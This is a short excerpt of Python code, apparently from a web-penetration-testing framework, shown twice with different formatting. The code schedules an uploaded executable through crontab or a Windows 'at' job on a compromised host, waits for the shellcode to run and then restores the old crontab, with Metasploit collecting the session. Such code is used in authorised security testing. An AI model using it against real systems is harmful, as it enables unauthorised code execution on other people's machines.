def _exec_payload(self, remote_filename): """ This method should be implemented according to the remote operating system. The idea here is to execute the payload that was sent using _send_exe_to_server and generated by _generate_exe . In lnxVd I should run "chmod +x file; ./file" :return: None """ cH = crontabHandler(self._exec_method) if not cH.can_delay(): msg = '[lnxVd] Failed to create cron entry.' om.out.debug(msg) raise BaseFrameworkException(msg) else: wait_time = cH.add_to_schedule(remote_filename) om.out.console('Crontab entry successfully added. Waiting for shellcode execution.') time.sleep(wait_time + 3) om.out.debug( 'Shellcode successfully executed, restoring old crontab.') cH.restore_old_schedule() om.out.debug('All done, check metasploit for results.')
def _exec_payload(self, remote_filename): """ This method should be implemented according to the remote operating system. The idea here is to execute the payload that was sent using _send_exe_to_server and generated by _generate_exe . In lnxVd I should run "chmod +x file; ./file" :return: None """ cH = crontabHandler(self._exec_method) if not cH.can_delay(): msg = '[lnxVd] Failed to create cron entry.' om.out.debug(msg) raise BaseFrameworkException(msg) else: wait_time = cH.add_to_schedule(remote_filename) om.out.console( 'Crontab entry successfully added. Waiting for shellcode execution.' ) time.sleep(wait_time + 3) om.out.debug( 'Shellcode successfully executed, restoring old crontab.') cH.restore_old_schedule() om.out.debug('All done, check metasploit for results.')
def get_delayed_execution_handler(self): os = os_detection_exec(self._exec_method) if os == 'windows': return atHandler(self._exec_method) elif os == 'linux': return crontabHandler(self._exec_method) else: raise BaseFrameworkException( 'Failed to create a delayed execution handler.')